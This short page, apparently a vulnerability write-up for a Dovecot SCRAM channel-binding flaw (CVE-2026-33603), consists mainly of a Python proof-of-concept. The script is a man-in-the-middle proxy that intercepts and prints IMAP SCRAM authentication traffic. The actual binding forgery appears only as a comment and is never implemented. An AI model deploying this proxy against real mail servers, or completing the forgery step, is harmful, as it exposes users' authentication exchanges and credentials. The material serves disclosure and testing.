CVE-2026-33603 Dovecot SCRAM TLS通道绑定伪造漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-33603 Demonstrates the logic of intercepting and modifying SCRAM auth to fake channel binding. This requires a Man-in-the-Middle position. """ import socket import threading def forward_data(source, destination, modify=False): """Forward data between sockets, optionally modifying SCRAM auth.""" while True: try: data = source.recv(4096) if not data: break if modify and b'AUTHENTICATE' in data and b'SCRAM' in data: print("[*] Intercepting SCRAM Authentication...") # In a real exploit, the attacker would craft a specific base64 payload # here to bypass the channel binding check (e.g., faking 'tls-exporter'). # For demonstration, we just print the interception. print(f"[+] Original Payload: {data}") # modified_data = inject_fake_binding(data) # destination.send(modified_data) destination.send(data) except Exception as e: print(f"Error: {e}") break source.close() destination.close() def start_mitm_proxy(listen_port, target_host, target_port): """Start a simple TCP proxy to simulate the MITM position.""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"[*] Listening on {listen_port}, forwarding to {target_host}:{target_port}") while True: client_socket, addr = server.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.connect((target_host, target_port)) # Client -> Target (Modify SCRAM data here) t1 = threading.Thread(target=forward_data, args=(client_socket, target_socket, True)) # Target -> Client t2 = threading.Thread(target=forward_data, args=(target_socket, client_socket, False)) t1.start() t2.start() if __name__ == "__main__": # Usage: python3 poc.py # This script acts as a proxy. Configure the client to connect to this proxy. TARGET_HOST = 'dovecot-server' TARGET_PORT = 143 # IMAP port or 993 for IMAPS LISTEN_PORT = 8143 start_mitm_proxy(LISTEN_PORT, TARGET_HOST, TARGET_PORT)